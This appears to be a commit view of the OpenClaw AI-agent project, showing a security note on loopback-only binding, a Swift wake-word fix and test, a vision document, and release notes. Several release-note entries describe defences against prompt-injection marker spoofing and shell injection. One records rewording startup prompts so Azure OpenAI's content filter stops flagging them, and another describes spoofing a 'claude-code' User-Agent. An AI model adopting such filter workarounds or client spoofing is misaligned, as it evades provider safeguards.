OpenClaw's web interface is intended for local use only. Do **not** bind it to the public internet; it is not hardened for public exposure.
OpenClaw's web interface (Gateway Control UI + HTTP endpoints) is intended for **local use only**.
- Recommended: keep the Gateway **loopback-only** (`127.0.0.1` / `::1`).
- Config: `gateway.bind="loopback"` (default).
- CLI: `openclaw gateway run --bind loopback`.
- `gateway.controlUi.dangerouslyDisableDeviceAuth` is intended for localhost-only break-glass use.
- OpenClaw keeps deployment flexibility by design and does not hard-forbid non-local setups.
- Non-local and other risky configurations are surfaced by `openclaw security audit` as dangerous findings.
- This operator-selected tradeoff is by design and not, by itself, a security vulnerability.
- Canvas host note: network-visible canvas is **intentional** for trusted node scenarios (LAN/tailnet).
- Expected setup: non-loopback bind + Gateway auth (token/password/trusted-proxy) + firewall/tailnet controls.
- Expected routes: `/__openclaw__/canvas/`, `/__openclaw__/a2ui/`.
- This deployment model alone is not a security vulnerability.
- Do **not** expose it to the public internet (no direct bind to `0.0.0.0`, no public reverse proxy). It is not hardened for public exposure.
- If you need remote access, prefer an SSH tunnel or Tailscale serve/funnel (so the Gateway still binds to loopback), plus strong Gateway auth.
- The Gateway HTTP surface includes the canvas host (`/__openclaw__/canvas/`, `/__openclaw__/a2ui/`). Treat canvas content as sensitive/untrusted and avoid exposing it beyond loopback unless you understand the risk.
## Runtime Requirements

View File

@@ -101,25 +101,19 @@ public enum WakeWordGate {
}
public static func commandText(
transcript: String,
transcript _: String,
segments: [WakeWordSegment],
triggerEndTime: TimeInterval)
-> String {
let threshold = triggerEndTime + 0.001
var commandWords: [String] = []
commandWords.reserveCapacity(segments.count)
for segment in segments where segment.start >= threshold {
if normalizeToken(segment.text).isEmpty { continue }
if let range = segment.range {
let slice = transcript[range.lowerBound...]
return String(slice).trimmingCharacters(in: Self.whitespaceAndPunctuation)
}
break
let normalized = normalizeToken(segment.text)
if normalized.isEmpty { continue }
commandWords.append(segment.text)
}
let text = segments
.filter { $0.start >= threshold && !normalizeToken($0.text).isEmpty }
.map(\.text)
.joined(separator: " ")
return text.trimmingCharacters(in: Self.whitespaceAndPunctuation)
return commandWords.joined(separator: " ").trimmingCharacters(in: Self.whitespaceAndPunctuation)
}
public static func matchesTextOnly(text: String, triggers: [String]) -> Bool {

View File

@@ -46,6 +46,25 @@ import Testing
let match = WakeWordGate.match(transcript: transcript, segments: segments, config: config)
#expect(match?.command == "do it")
}
@Test func commandTextHandlesForeignRangeIndices() {
let transcript = "hey clawd do thing"
let other = "do thing"
let foreignRange = other.range(of: "do")
let segments = [
WakeWordSegment(text: "hey", start: 0.0, duration: 0.1, range: transcript.range(of: "hey")),
WakeWordSegment(text: "clawd", start: 0.2, duration: 0.1, range: transcript.range(of: "clawd")),
WakeWordSegment(text: "do", start: 0.9, duration: 0.1, range: foreignRange),
WakeWordSegment(text: "thing", start: 1.1, duration: 0.1, range: nil),
]
let command = WakeWordGate.commandText(
transcript: transcript,
segments: segments,
triggerEndTime: 0.3)
#expect(command == "do thing")
}
}
private func makeSegments(

110
VISION.md Normal file
View File

@@ -0,0 +1,110 @@
## OpenClaw Vision
OpenClaw is the AI that actually does things.
It runs on your devices, in your channels, with your rules.
This document explains the current state and direction of the project.
We are still early, so iteration is fast.
Project overview and developer docs: [`README.md`](README.md)
Contribution guide: [`CONTRIBUTING.md`](CONTRIBUTING.md)
OpenClaw started as a personal playground to learn AI and build something genuinely useful:
an assistant that can run real tasks on a real computer.
It evolved through several names and shells: Warelay -> Clawdbot -> Moltbot -> OpenClaw.
The goal: a personal assistant that is easy to use, supports a wide range of platforms, and respects privacy and security.
The current focus is:
Priority:
- Security and safe defaults
- Bug fixes and stability
- Setup reliability and first-run UX
Next priorities:
- Supporting all major model providers
- Improving support for major messaging channels (and adding a few high-demand ones)
- Performance and test infrastructure
- Better computer-use and agent harness capabilities
- Ergonomics across CLI and web frontend
- Companion apps on macOS, iOS, Android, Windows, and Linux
Contribution rules:
- One PR = one issue/topic. Do not bundle multiple unrelated fixes/features.
- PRs over ~5,000 changed lines are reviewed only in exceptional circumstances.
- Do not open large batches of tiny PRs at once; each PR has review cost.
- For very small related fixes, grouping into one focused PR is encouraged.
## Security
Security in OpenClaw is a deliberate tradeoff: strong defaults without killing capability.
The goal is to stay powerful for real work while making risky paths explicit and operator-controlled.
Canonical security policy and reporting:
- [`SECURITY.md`](SECURITY.md)
We prioritize secure defaults, but also expose clear knobs for trusted high-power workflows.
## Plugins & Memory
OpenClaw has an extensive plugin API.
Core stays lean; optional capability should usually ship as plugins.
Preferred plugin path is npm package distribution plus local extension loading for development.
If you build a plugin, host and maintain it in your own repository.
The bar for adding optional plugins to core is intentionally high.
Plugin docs: [`docs/tools/plugin.md`](docs/tools/plugin.md)
Community plugin listing + PR bar: https://docs.openclaw.ai/plugins/community
Memory is a special plugin slot where only one memory plugin can be active at a time.
Today we ship multiple memory options; over time we plan to converge on one recommended default path.
### Skills
We still ship some bundled skills for baseline UX.
New skills should be published to ClawHub first (`clawhub.ai`), not added to core by default.
Core skill additions should be rare and require a strong product or security reason.
### MCP Support
OpenClaw supports MCP through `mcporter`: https://github.com/steipete/mcporter
This keeps MCP integration flexible and decoupled from core runtime:
- add or change MCP servers without restarting the gateway
- keep core tool/context surface lean
- reduce MCP churn impact on core stability and security
For now, we prefer this bridge model over building first-class MCP runtime into core.
If there is an MCP server or feature `mcporter` does not support yet, please open an issue there.
### Setup
OpenClaw is currently terminal-first by design.
This keeps setup explicit: users see docs, auth, permissions, and security posture up front.
Long term, we want easier onboarding flows as hardening matures.
We do not want convenience wrappers that hide critical security decisions from users.
### Why TypeScript?
OpenClaw is primarily an orchestration system: prompts, tools, protocols, and integrations.
TypeScript was chosen to keep OpenClaw hackable by default.
It is widely known, fast to iterate in, and easy to read, modify, and extend.
## What We Will Not Merge (For Now)
- New core skills when they can live on ClawHub
- Full-doc translation sets for all docs (deferred; we plan AI-generated translations later)
- Commercial service integrations that do not clearly fit the model-provider category
- Wrapper channels around already supported channels without a clear capability or security gap
- First-class MCP runtime in core when `mcporter` already provides the integration path
- Agent-hierarchy frameworks (manager-of-managers / nested planner trees) as a default architecture
- Heavy orchestration layers that duplicate existing agent and tool infrastructure
This list is a roadmap guardrail, not a law of physics.
Strong user demand and strong technical rationale can change it.

View File

@@ -3,164 +3,246 @@
<channel>
<title>OpenClaw</title>
<item>
<title>2026.2.3</title>
<pubDate>Wed, 04 Feb 2026 17:47:10 -0800</pubDate>
<title>2026.3.13</title>
<pubDate>Sat, 14 Mar 2026 05:19:48 +0000</pubDate>
<link>https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml</link>
<sparkle:version>8900</sparkle:version>
<sparkle:shortVersionString>2026.2.3</sparkle:shortVersionString>
<sparkle:version>2026031390</sparkle:version>
<sparkle:shortVersionString>2026.3.13</sparkle:shortVersionString>
<sparkle:minimumSystemVersion>15.0</sparkle:minimumSystemVersion>
<description><![CDATA[<h2>OpenClaw 2026.2.3</h2>
<description><![CDATA[<h2>OpenClaw 2026.3.13</h2>
<h3>Changes</h3>
<ul>
<li>Telegram: remove last <code>@ts-nocheck</code> from <code>bot-handlers.ts</code>, use Grammy types directly, deduplicate <code>StickerMetadata</code>. Zero <code>@ts-nocheck</code> remaining in <code>src/telegram/</code>. (#9206)</li>
<li>Telegram: remove <code>@ts-nocheck</code> from <code>bot-message.ts</code>, type deps via <code>Omit<BuildTelegramMessageContextParams></code>, widen <code>allMedia</code> to <code>TelegramMediaRef[]</code>. (#9180)</li>
<li>Telegram: remove <code>@ts-nocheck</code> from <code>bot.ts</code>, fix duplicate <code>bot.catch</code> error handler (Grammy overrides), remove dead reaction <code>message_thread_id</code> routing, harden sticker cache guard. (#9077)</li>
<li>Onboarding: add Cloudflare AI Gateway provider setup and docs. (#7914) Thanks @roerohan.</li>
<li>Onboarding: add Moonshot (.cn) auth choice and keep the China base URL when preserving defaults. (#7180) Thanks @waynelwz.</li>
<li>Docs: clarify tmux send-keys for TUI by splitting text and Enter. (#7737) Thanks @Wangnov.</li>
<li>Docs: mirror the landing page revamp for zh-CN (features, quickstart, docs directory, network model, credits). (#8994) Thanks @joshp123.</li>
<li>Messages: add per-channel and per-account responsePrefix overrides across channels. (#9001) Thanks @mudrii.</li>
<li>Cron: add announce delivery mode for isolated jobs (CLI + Control UI) and delivery mode config.</li>
<li>Cron: default isolated jobs to announce delivery; accept ISO 8601 <code>schedule.at</code> in tool inputs.</li>
<li>Cron: hard-migrate isolated jobs to announce/none delivery; drop legacy post-to-main/payload delivery fields and <code>atMs</code> inputs.</li>
<li>Cron: delete one-shot jobs after success by default; add <code>--keep-after-run</code> for CLI.</li>
<li>Cron: suppress messaging tools during announce delivery so summaries post consistently.</li>
<li>Cron: avoid duplicate deliveries when isolated runs send messages directly.</li>
<li>Android/chat settings: redesign the chat settings sheet with grouped device and media sections, refresh the Connect and Voice tabs, and tighten the chat composer/session header for a denser mobile layout. (#44894) Thanks @obviyus.</li>
<li>iOS/onboarding: add a first-run welcome pager before gateway setup, stop auto-opening the QR scanner, and show <code>/pair qr</code> instructions on the connect step. (#45054) Thanks @ngutman.</li>
<li>Browser/existing-session: add an official Chrome DevTools MCP attach mode for signed-in live Chrome sessions, with docs for <code>chrome://inspect/#remote-debugging</code> enablement and direct backlinks to Chromes own setup guides.</li>
<li>Browser/agents: add built-in <code>profile="user"</code> for the logged-in host browser and <code>profile="chrome-relay"</code> for the extension relay, so agent browser calls can prefer the real signed-in browser without the extra <code>browserSession</code> selector.</li>
<li>Browser/act automation: add batched actions, selector targeting, and delayed clicks for browser act requests with normalized batch dispatch. Thanks @vincentkoc.</li>
<li>Docker/timezone override: add <code>OPENCLAW_TZ</code> so <code>docker-setup.sh</code> can pin gateway and CLI containers to a chosen IANA timezone instead of inheriting the daemon default. (#34119) Thanks @Lanfei.</li>
<li>Dependencies/pi: bump <code>@mariozechner/pi-agent-core</code>, <code>@mariozechner/pi-ai</code>, <code>@mariozechner/pi-coding-agent</code>, and <code>@mariozechner/pi-tui</code> to <code>0.58.0</code>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Heartbeat: allow explicit accountId routing for multi-account channels. (#8702) Thanks @lsh411.</li>
<li>TUI/Gateway: handle non-streaming finals, refresh history for non-local chat runs, and avoid event gap warnings for targeted tool streams. (#8432) Thanks @gumadeiras.</li>
<li>Shell completion: auto-detect and migrate slow dynamic patterns to cached files for faster terminal startup; add completion health checks to doctor/update/onboard.</li>
<li>Telegram: honor session model overrides in inline model selection. (#8193) Thanks @gildo.</li>
<li>Web UI: fix agent model selection saves for default/non-default agents and wrap long workspace paths. Thanks @Takhoffman.</li>
<li>Web UI: resolve header logo path when <code>gateway.controlUi.basePath</code> is set. (#7178) Thanks @Yeom-JinHo.</li>
<li>Web UI: apply button styling to the new-messages indicator.</li>
<li>Security: keep untrusted channel metadata out of system prompts (Slack/Discord). Thanks @KonstantinMirin.</li>
<li>Security: enforce sandboxed media paths for message tool attachments. (#9182) Thanks @victormier.</li>
<li>Security: require explicit credentials for gateway URL overrides to prevent credential leakage. (#8113) Thanks @victormier.</li>
<li>Security: gate <code>whatsapp_login</code> tool to owner senders and default-deny non-owner contexts. (#8768) Thanks @victormier.</li>
<li>Voice call: harden webhook verification with host allowlists/proxy trust and keep ngrok loopback bypass.</li>
<li>Voice call: add regression coverage for anonymous inbound caller IDs with allowlist policy. (#8104) Thanks @victormier.</li>
<li>Cron: accept epoch timestamps and 0ms durations in CLI <code>--at</code> parsing.</li>
<li>Cron: reload store data when the store file is recreated or mtime changes.</li>
<li>Cron: deliver announce runs directly, honor delivery mode, and respect wakeMode for summaries. (#8540) Thanks @tyler6204.</li>
<li>Telegram: include forward_from_chat metadata in forwarded messages and harden cron delivery target checks. (#8392) Thanks @Glucksberg.</li>
<li>macOS: fix cron payload summary rendering and ISO 8601 formatter concurrency safety.</li>
<li>Dashboard/chat UI: stop reloading full chat history on every live tool result in dashboard v2 so tool-heavy runs no longer trigger UI freeze/re-render storms while the final event still refreshes persisted history. (#45541) Thanks @BunsDev.</li>
<li>Gateway/client requests: reject unanswered gateway RPC calls after a bounded timeout and clear their pending state, so stalled connections no longer leak hanging <code>GatewayClient.request()</code> promises indefinitely.</li>
<li>Build/plugin-sdk bundling: bundle plugin-sdk subpath entries in one shared build pass so published packages stop duplicating shared chunks and avoid the recent plugin-sdk memory blow-up. (#45426) Thanks @TarasShyn.</li>
<li>Ollama/reasoning visibility: stop promoting native <code>thinking</code> and <code>reasoning</code> fields into final assistant text so local reasoning models no longer leak internal thoughts in normal replies. (#45330) Thanks @xi7ang.</li>
<li>Android/onboarding QR scan: switch setup QR scanning to Google Code Scanner so onboarding uses a more reliable scanner instead of the legacy embedded ZXing flow. (#45021) Thanks @obviyus.</li>
<li>Browser/existing-session: harden driver validation and session lifecycle so transport errors trigger reconnects while tool-level errors preserve the session, and extract shared ARIA role sets to deduplicate Playwright and Chrome MCP snapshot paths. (#45682) Thanks @odysseus0.</li>
<li>Browser/existing-session: accept text-only <code>list_pages</code> and <code>new_page</code> responses from Chrome DevTools MCP so live-session tab discovery and new-tab open flows keep working when the server omits structured page metadata.</li>
<li>Control UI/insecure auth: preserve explicit shared token and password auth on plain-HTTP Control UI connects so LAN and reverse-proxy sessions no longer drop shared auth before the first WebSocket handshake. (#45088) Thanks @velvet-shark.</li>
<li>Gateway/session reset: preserve <code>lastAccountId</code> and <code>lastThreadId</code> across gateway session resets so replies keep routing back to the same account and thread after <code>/reset</code>. (#44773) Thanks @Lanfei.</li>
<li>macOS/onboarding: avoid self-restarting freshly bootstrapped launchd gateways and give new daemon installs longer to become healthy, so <code>openclaw onboard --install-daemon</code> no longer false-fails on slower Macs and fresh VM snapshots.</li>
<li>Gateway/status: add <code>openclaw gateway status --require-rpc</code> and clearer Linux non-interactive daemon-install failure reporting so automation can fail hard on probe misses instead of treating a printed RPC error as green.</li>
<li>macOS/exec approvals: respect per-agent exec approval settings in the gateway prompter, including allowlist fallback when the native prompt cannot be shown, so gateway-triggered <code>system.run</code> requests follow configured policy instead of always prompting or denying unexpectedly. (#13707) Thanks @sliekens.</li>
<li>Telegram/media downloads: thread the same direct or proxy transport policy into SSRF-guarded file fetches so inbound attachments keep working when Telegram falls back between env-proxy and direct networking. (#44639) Thanks @obviyus.</li>
<li>Telegram/inbound media IPv4 fallback: retry SSRF-guarded Telegram file downloads once with the same IPv4 fallback policy as Bot API calls so fresh installs on IPv6-broken hosts no longer fail to download inbound images.</li>
<li>Windows/gateway install: bound <code>schtasks</code> calls and fall back to the Startup-folder login item when task creation hangs, so native <code>openclaw gateway install</code> fails fast instead of wedging forever on broken Scheduled Task setups.</li>
<li>Windows/gateway stop: resolve Startup-folder fallback listeners from the installed <code>gateway.cmd</code> port, so <code>openclaw gateway stop</code> now actually kills fallback-launched gateway processes before restart.</li>
<li>Windows/gateway status: reuse the installed service command environment when reading runtime status, so startup-fallback gateways keep reporting the configured port and running state in <code>gateway status --json</code> instead of falling back to <code>gateway port unknown</code>.</li>
<li>Windows/gateway auth: stop attaching device identity on local loopback shared-token and password gateway calls, so native Windows agent replies no longer log stale <code>device signature expired</code> fallback noise before succeeding.</li>
<li>Discord/gateway startup: treat plain-text and transient <code>/gateway/bot</code> metadata fetch failures as transient startup errors so Discord gateway boot no longer crashes on unhandled rejections. (#44397) Thanks @jalehman.</li>
<li>Slack/probe: keep <code>auth.test()</code> bot and team metadata mapping stable while simplifying the probe result path. (#44775) Thanks @Cafexss.</li>
<li>Dashboard/chat UI: render oversized plain-text replies as normal paragraphs instead of capped gray code blocks, so long desktop chat responses stay readable without tab-switching refreshes.</li>
<li>Dashboard/chat UI: restore the <code>chat-new-messages</code> class on the New messages scroll pill so the button uses its existing compact styling instead of rendering as a full-screen SVG overlay. (#44856) Thanks @Astro-Han.</li>
<li>Gateway/Control UI: restore the operator-only device-auth bypass and classify browser connect failures so origin and device-identity problems no longer show up as auth errors in the Control UI and web chat. (#45512) thanks @sallyom.</li>
<li>macOS/voice wake: stop crashing wake-word command extraction when speech segment ranges come from a different transcript instance.</li>
<li>Discord/allowlists: honor raw <code>guild_id</code> when hydrated guild objects are missing so allowlisted channels and threads like <code>#maintainers</code> no longer get false-dropped before channel allowlist checks.</li>
<li>macOS/runtime locator: require Node >=22.16.0 during macOS runtime discovery so the app no longer accepts Node versions that the main runtime guard rejects later. Thanks @sumleo.</li>
<li>Agents/custom providers: preserve blank API keys for loopback OpenAI-compatible custom providers by clearing the synthetic Authorization header at runtime, while keeping explicit apiKey and oauth/token config from silently downgrading into fake bearer auth. (#45631) Thanks @xinhuagu.</li>
<li>Models/google-vertex Gemini flash-lite normalization: apply existing bare-ID preview normalization to <code>google-vertex</code> model refs and provider configs so <code>google-vertex/gemini-3.1-flash-lite</code> resolves as <code>gemini-3.1-flash-lite-preview</code>. (#42435) thanks @scoootscooob.</li>
<li>iMessage/remote attachments: reject unsafe remote attachment paths before spawning SCP, so sender-controlled filenames can no longer inject shell metacharacters into remote media staging. Thanks @lintsinghua.</li>
<li>Telegram/webhook auth: validate the Telegram webhook secret before reading or parsing request bodies, so unauthenticated requests are rejected immediately instead of consuming up to 1 MB first. Thanks @space08.</li>
<li>Security/device pairing: make bootstrap setup codes single-use so pending device pairing requests cannot be silently replayed and widened to admin before approval. Thanks @tdjackey.</li>
<li>Security/external content: strip zero-width and soft-hyphen marker-splitting characters during boundary sanitization so spoofed <code>EXTERNAL_UNTRUSTED_CONTENT</code> markers fall back to the existing hardening path instead of bypassing marker normalization.</li>
<li>Security/exec approvals: unwrap more <code>pnpm</code> runtime forms during approval binding, including <code>pnpm --reporter ... exec</code> and direct <code>pnpm node</code> file runs, with matching regression coverage and docs updates.</li>
<li>Security/exec approvals: fail closed for Perl <code>-M</code> and <code>-I</code> approval flows so preload and load-path module resolution stays outside approval-backed runtime execution unless the operator uses a broader explicit trust path.</li>
<li>Security/exec approvals: recognize PowerShell <code>-File</code> and <code>-f</code> wrapper forms during inline-command extraction so approval and command-analysis paths treat file-based PowerShell launches like the existing <code>-Command</code> variants.</li>
<li>Security/exec approvals: unwrap <code>env</code> dispatch wrappers inside shell-segment allowlist resolution on macOS so <code>env FOO=bar /path/to/bin</code> resolves against the effective executable instead of the wrapper token.</li>
<li>Security/exec approvals: treat backslash-newline as shell line continuation during macOS shell-chain parsing so line-continued <code>$(</code> substitutions fail closed instead of slipping past command-substitution checks.</li>
<li>Security/exec approvals: bind macOS skill auto-allow trust to both executable name and resolved path so same-basename binaries no longer inherit trust from unrelated skill bins.</li>
<li>Build/plugin-sdk bundling: bundle plugin-sdk subpath entries in one shared build pass so published packages stop duplicating shared chunks and avoid the recent plugin-sdk memory blow-up. (#45426) Thanks @TarasShyn.</li>
<li>Cron/isolated sessions: route nested cron-triggered embedded runner work onto the nested lane so isolated cron jobs no longer deadlock when compaction or other queued inner work runs. Thanks @vincentkoc.</li>
<li>Agents/OpenAI-compatible compat overrides: respect explicit user <code>models[].compat</code> opt-ins for non-native <code>openai-completions</code> endpoints so usage-in-streaming capability overrides no longer get forced off when the endpoint actually supports them. (#44432) Thanks @cheapestinference.</li>
<li>Agents/Azure OpenAI startup prompts: rephrase the built-in <code>/new</code>, <code>/reset</code>, and post-compaction startup instruction so Azure OpenAI deployments no longer hit HTTP 400 false positives from the content filter. (#43403) Thanks @xingsy97.</li>
<li>Agents/memory bootstrap: load only one root memory file, preferring <code>MEMORY.md</code> and using <code>memory.md</code> as a fallback, so case-insensitive Docker mounts no longer inject duplicate memory context. (#26054) Thanks @Lanfei.</li>
<li>Agents/compaction: compare post-compaction token sanity checks against full-session pre-compaction totals and skip the check when token estimation fails, so sessions with large bootstrap context keep real token counts instead of falling back to unknown. (#28347) thanks @efe-arv.</li>
<li>Agents/compaction: preserve safeguard compaction summary language continuity via default and configurable custom instructions so persona drift is reduced after auto-compaction. (#10456) Thanks @keepitmello.</li>
<li>Agents/tool warnings: distinguish gated core tools like <code>apply_patch</code> from plugin-only unknown entries in <code>tools.profile</code> warnings, so unavailable core tools now report current runtime/provider/model/config gating instead of suggesting a missing plugin.</li>
<li>Config/validation: accept documented <code>agents.list[].params</code> per-agent overrides in strict config validation so <code>openclaw config validate</code> no longer rejects runtime-supported <code>cacheRetention</code>, <code>temperature</code>, and <code>maxTokens</code> settings. (#41171) Thanks @atian8179.</li>
<li>Config/web fetch: restore runtime validation for documented <code>tools.web.fetch.readability</code> and <code>tools.web.fetch.firecrawl</code> settings so valid web fetch configs no longer fail with unrecognized-key errors. (#42583) Thanks @stim64045-spec.</li>
<li>Signal/config validation: add <code>channels.signal.groups</code> schema support so per-group <code>requireMention</code>, <code>tools</code>, and <code>toolsBySender</code> overrides no longer get rejected during config validation. (#27199) Thanks @unisone.</li>
<li>Config/discovery: accept <code>discovery.wideArea.domain</code> in strict config validation so unicast DNS-SD gateway configs no longer fail with an unrecognized-key error. (#35615) Thanks @ingyukoh.</li>
<li>Telegram/media errors: redact Telegram file URLs before building media fetch errors so failed inbound downloads do not leak bot tokens into logs. Thanks @space08.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.2.3/OpenClaw-2026.2.3.zip" length="22530161" type="application/octet-stream" sparkle:edSignature="7eHUaQC6cx87HWbcaPh9T437+LqfE9VtQBf4p9JBjIyBrqGYxxp9KPvI5unEjg55j9j2djCXhseSMeyyRmvYBg=="/>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.3.13/OpenClaw-2026.3.13.zip" length="23640917" type="application/octet-stream" sparkle:edSignature="Me63UHSpFLocTo5Lt7Iqsl0Hq61y3jTcZ9DUkiFl9xQvTE0+ORuqRMFWqPgYwfaKMgcgQmUbrV/uFzEoTIRHBA=="/>
</item>
<item>
<title>2026.2.2</title>
<pubDate>Tue, 03 Feb 2026 17:04:17 -0800</pubDate>
<title>2026.3.12</title>
<pubDate>Fri, 13 Mar 2026 04:25:50 +0000</pubDate>
<link>https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml</link>
<sparkle:version>8809</sparkle:version>
<sparkle:shortVersionString>2026.2.2</sparkle:shortVersionString>
<sparkle:version>2026031290</sparkle:version>
<sparkle:shortVersionString>2026.3.12</sparkle:shortVersionString>
<sparkle:minimumSystemVersion>15.0</sparkle:minimumSystemVersion>
<description><![CDATA[<h2>OpenClaw 2026.2.2</h2>
<description><![CDATA[<h2>OpenClaw 2026.3.12</h2>
<h3>Changes</h3>
<ul>
<li>Feishu: add Feishu/Lark plugin support + docs. (#7313) Thanks @jiulingyun (openclaw-cn).</li>
<li>Web UI: add Agents dashboard for managing agent files, tools, skills, models, channels, and cron jobs.</li>
<li>Memory: implement the opt-in QMD backend for workspace memory. (#3160) Thanks @vignesh07.</li>
<li>Security: add healthcheck skill and bootstrap audit guidance. (#7641) Thanks @Takhoffman.</li>
<li>Config: allow setting a default subagent thinking level via <code>agents.defaults.subagents.thinking</code> (and per-agent <code>agents.list[].subagents.thinking</code>). (#7372) Thanks @tyler6204.</li>
<li>Docs: zh-CN translations seed + polish, pipeline guidance, nav/landing updates, and typo fixes. (#8202, #6995, #6619, #7242, #7303, #7415) Thanks @AaronWander, @taiyi747, @Explorer1092, @rendaoyuan, @joshp123, @lailoo.</li>
<li>Control UI/dashboard-v2: refresh the gateway dashboard with modular overview, chat, config, agent, and session views, plus a command palette, mobile bottom tabs, and richer chat tools like slash commands, search, export, and pinned messages. (#41503) Thanks @BunsDev.</li>
<li>OpenAI/GPT-5.4 fast mode: add configurable session-level fast toggles across <code>/fast</code>, TUI, Control UI, and ACP, with per-model config defaults and OpenAI/Codex request shaping.</li>
<li>Anthropic/Claude fast mode: map the shared <code>/fast</code> toggle and <code>params.fastMode</code> to direct Anthropic API-key <code>service_tier</code> requests, with live verification for both Anthropic and OpenAI fast-mode tiers.</li>
<li>Models/plugins: move Ollama, vLLM, and SGLang onto the provider-plugin architecture, with provider-owned onboarding, discovery, model-picker setup, and post-selection hooks so core provider wiring is more modular.</li>
<li>Docs/Kubernetes: Add a starter K8s install path with raw manifests, Kind setup, and deployment docs. Thanks @sallyom @dzianisv @egkristi</li>
<li>Agents/subagents: add <code>sessions_yield</code> so orchestrators can end the current turn immediately, skip queued tool work, and carry a hidden follow-up payload into the next session turn. (#36537) thanks @jriff</li>
<li>Slack/agent replies: support <code>channelData.slack.blocks</code> in the shared reply delivery path so agents can send Block Kit messages through standard Slack outbound delivery. (#44592) Thanks @vincentkoc.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Security: require operator.approvals for gateway /approve commands. (#1) Thanks @mitsuhiko, @yueyueL.</li>
<li>Security: Matrix allowlists now require full MXIDs; ambiguous name resolution no longer grants access. Thanks @MegaManSec.</li>
<li>Security: enforce access-group gating for Slack slash commands when channel type lookup fails.</li>
<li>Security: require validated shared-secret auth before skipping device identity on gateway connect.</li>
<li>Security: guard skill installer downloads with SSRF checks (block private/localhost URLs).</li>
<li>Security: harden Windows exec allowlist; block cmd.exe bypass via single &. Thanks @simecek.</li>
<li>fix(voice-call): harden inbound allowlist; reject anonymous callers; require Telnyx publicKey for allowlist; token-gate Twilio media streams; cap webhook body size (thanks @simecek)</li>
<li>Media understanding: apply SSRF guardrails to provider fetches; allow private baseUrl overrides explicitly.</li>
<li>fix(webchat): respect user scroll position during streaming and refresh (#7226) (thanks @marcomarandiz)</li>
<li>Telegram: recover from grammY long-poll timed out errors. (#7466) Thanks @macmimi23.</li>
<li>Agents: repair malformed tool calls and session transcripts. (#7473) Thanks @justinhuangcode.</li>
<li>fix(agents): validate AbortSignal instances before calling AbortSignal.any() (#7277) (thanks @Elarwei001)</li>
<li>Media understanding: skip binary media from file text extraction. (#7475) Thanks @AlexZhangji.</li>
<li>Onboarding: keep TUI flow exclusive (skip completion prompt + background Web UI seed); completion prompt now handled by install/update.</li>
<li>TUI: block onboarding output while TUI is active and restore terminal state on exit.</li>
<li>CLI/Zsh completion: cache scripts in state dir and escape option descriptions to avoid invalid option errors.</li>
<li>fix(ui): resolve Control UI asset path correctly.</li>
<li>fix(ui): refresh agent files after external edits.</li>
<li>Docs: finish renaming the QMD memory docs to reference the OpenClaw state dir.</li>
<li>Tests: stub SSRF DNS pinning in web auto-reply + Gemini video coverage. (#6619) Thanks @joshp123.</li>
<li>Security/device pairing: switch <code>/pair</code> and <code>openclaw qr</code> setup codes to short-lived bootstrap tokens so the next release no longer embeds shared gateway credentials in chat or QR pairing payloads. Thanks @lintsinghua.</li>
<li>Security/plugins: disable implicit workspace plugin auto-load so cloned repositories cannot execute workspace plugin code without an explicit trust decision. (<code>GHSA-99qw-6mr3-36qr</code>)(#44174) Thanks @lintsinghua and @vincentkoc.</li>
<li>Models/Kimi Coding: send <code>anthropic-messages</code> tools in native Anthropic format again so <code>kimi-coding</code> stops degrading tool calls into XML/plain-text pseudo invocations instead of real <code>tool_use</code> blocks. (#38669, #39907, #40552) Thanks @opriz.</li>
<li>TUI/chat log: reuse the active assistant message component for the same streaming run so <code>openclaw tui</code> no longer renders duplicate assistant replies. (#35364) Thanks @lisitan.</li>
<li>Telegram/model picker: make inline model button selections persist the chosen session model correctly, clear overrides when selecting the configured default, and include effective fallback models in <code>/models</code> button validation. (#40105) Thanks @avirweb.</li>
<li>Cron/proactive delivery: keep isolated direct cron sends out of the write-ahead resend queue so transient-send retries do not replay duplicate proactive messages after restart. (#40646) Thanks @openperf and @vincentkoc.</li>
<li>Models/Kimi Coding: send the built-in <code>User-Agent: claude-code/0.1.0</code> header by default for <code>kimi-coding</code> while still allowing explicit provider headers to override it, so Kimi Code subscription auth can work without a local header-injection proxy. (#30099) Thanks @Amineelfarssi and @vincentkoc.</li>
<li>Models/OpenAI Codex Spark: keep <code>gpt-5.3-codex-spark</code> working on the <code>openai-codex/*</code> path via resolver fallbacks and clearer Codex-only handling, while continuing to suppress the stale direct <code>openai/*</code> Spark row that OpenAI rejects live.</li>
<li>Ollama/Kimi Cloud: apply the Moonshot Kimi payload compatibility wrapper to Ollama-hosted Kimi models like <code>kimi-k2.5:cloud</code>, so tool routing no longer breaks when thinking is enabled. (#41519) Thanks @vincentkoc.</li>
<li>Moonshot CN API: respect explicit <code>baseUrl</code> (api.moonshot.cn) in implicit provider resolution so platform.moonshot.cn API keys authenticate correctly instead of returning HTTP 401. (#33637) Thanks @chengzhichao-xydt.</li>
<li>Kimi Coding/provider config: respect explicit <code>models.providers["kimi-coding"].baseUrl</code> when resolving the implicit provider so custom Kimi Coding endpoints no longer get overwritten by the built-in default. (#36353) Thanks @2233admin.</li>
<li>Gateway/main-session routing: keep TUI and other <code>mode:UI</code> main-session sends on the internal surface when <code>deliver</code> is enabled, so replies no longer inherit the session's persisted Telegram/WhatsApp route. (#43918) Thanks @obviyus.</li>
<li>BlueBubbles/self-chat echo dedupe: drop reflected duplicate webhook copies only when a matching <code>fromMe</code> event was just seen for the same chat, body, and timestamp, preventing self-chat loops without broad webhook suppression. Related to #32166. (#38442) Thanks @vincentkoc.</li>
<li>iMessage/self-chat echo dedupe: drop reflected duplicate copies only when a matching <code>is_from_me</code> event was just seen for the same chat, text, and <code>created_at</code>, preventing self-chat loops without broad text-only suppression. Related to #32166. (#38440) Thanks @vincentkoc.</li>
<li>Subagents/completion announce retries: raise the default announce timeout to 90 seconds and stop retrying gateway-timeout failures for externally delivered completion announces, preventing duplicate user-facing completion messages after slow gateway responses. Fixes #41235. Thanks @vasujain00 and @vincentkoc.</li>
